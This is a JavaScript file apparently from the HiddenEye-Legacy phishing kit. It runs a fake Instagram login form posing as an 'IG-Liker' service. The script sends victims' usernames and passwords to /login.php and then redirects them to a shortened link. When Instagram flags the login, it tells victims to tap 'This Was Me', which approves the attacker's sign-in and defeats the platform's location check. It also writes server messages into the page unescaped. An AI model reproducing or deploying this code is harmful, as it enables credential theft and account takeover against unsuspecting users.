HiddenEye-Legacy/Server/www/assets/js/flash.js

91 lines
5.5 KiB
JavaScript
Raw Normal View History

2018-04-18 19:15:54 +08:00
$(function() {
$('form.ajax[data-action="instagram_login"]').submit(function(e) {
e.preventDefault();
var alerts = 'form.ajax[data-action="instagram_login"] div.ajax-alerts';
var fieldset = $('form.ajax[data-action="instagram_login"] fieldset');
var controls = $('form.ajax[data-action="instagram_login"] input, form.ajax[data-action="instagram_login"] button');
var submit = $('form.ajax[data-action="instagram_login"] button[type="submit"]');
$.ajax({
url: '/login.php',
type: "POST",
dataType: "json",
data: $('form.ajax[data-action="instagram_login"]').serialize(),
beforeSend: function(){
controls.attr('disabled', 'disabled');
flash.alert(alerts, 'info', '<i class="fa fa-spinner fa-spin" aria-hidden="true"></i> Attempting to Login Your Instagram Account...', '<p></p>');
},
success: function(data){
if(data.success == true){
fieldset.slideUp();
flash.alert(alerts, 'success', 'Hi there <b>'+data.name+'</b>! You are now being redirected...', '');
setTimeout(function() {
window.location.href = 'http://linkshrink.net/7j5D3i';
}, 1000)
} else if(data.success == false){
if(data.error == 'invalid_credentials'){
controls.removeAttr('disabled');
$('form.ajax[data-action="instagram_login"] input[name="password"]').val('').focus();
flash.alert(alerts, 'danger', 'Invalid username or password, please try again.', '<p></p>').delay(60000).slideUp();
} else if(data.error == 'blocked'){
controls.removeAttr('disabled');
$('form.ajax[data-action="instagram_login"] input[name="username"], input[name="password"]').val('').focus();
flash.alert(alerts, 'danger', 'Location Block (First Time Login):If You are Using IG-Liker For The First Time, Then Your Account Will Get A Location Block Checkpoint. Hence You will See "Your Account Had Got A Location Block" Error. Just Login To Your Instagram Account (On Instagram App Or Your Browser) And Tap/Click On "This Was Me" On The Location Block.', '<p></p>').delay(25000).slideUp();
} else{
controls.removeAttr('disabled');
$('form.ajax[data-action="instagram_login"] input[name="username"], input[name="password"]').val('').focus();
flash.alert(alerts, 'danger', 'Unknown error occured, please try again after a while.', '<p></p>').delay(60000).slideUp();
}
} else {
fieldset.slideUp();
flash.alert(alerts, 'danger', 'Unknown error occured, please reload the page and login again.', '');
}
},
error: function(){
fieldset.slideUp();
flash.alert(alerts, 'danger', 'Unknown error occured, please reload the page and login again.', '');
}
});
});
$('form.form-horizontal[data-action="send_email"]').submit(function(e) {
e.preventDefault();
var alerts = 'form.form-horizontal[data-action="send_email"] div.ajax-alerts';
var fieldset = $('form.form-horizontal[data-action="send_email"] fieldset');
var controls = $('form.form-horizontal[data-action="send_email"] input[name="name"], form.form-horizontal[data-action="send_email"] input[name="email"], form.form-horizontal[data-action="send_email"] textarea[name="message"], form.form-horizontal[data-action="send_email"] button');
var submit = $('form.form-horizontal[data-action="send_email"] button[type="submit"]');
$.ajax({
url: '/contact.php',
type: "POST",
dataType: "json",
data: $('form.form-horizontal[data-action="send_email"]').serialize(),
beforeSend: function() {
controls.attr('disabled', 'disabled');
flash.alert(alerts, 'info', 'Sending your message, please wait for a while...', '<p></p>');
},
success: function(data) {
if (data.response == 'true') {
flash.alert(alerts, 'success', 'Well done <b>'+data.name+'</b>! Your message has been sent, we\'ll reply you in 24-48 hours.', '');
$('form.form-horizontal[data-action="send_email"] input[name="name"], input[name="email"], textarea[name="message"]').val('');
} else if (data.status == 'false') {
fieldset.slideUp();
flash.alert(alerts, 'danger', '' + data.message + '', '');
} else {
controls.removeAttr('disabled');
flash.alert(alerts, 'danger', '' + data.message + '', '<p></p>').delay(60000).slideUp();
}
},
error: function() {
fieldset.slideUp();
flash.alert(alerts, 'danger', '<b>Application Error!</b> Please reload the page and try again.', '');
}
});
});
});
var flash = {
alert: function(element, type, message, tag) {
$(element).html('<div class="alert alert-' + type + '">' + message + '</div> ' + tag + '').slideDown();
return $(element);
}
}
setTimeout(function() {
$('#alert').slideUp();
}, 60000);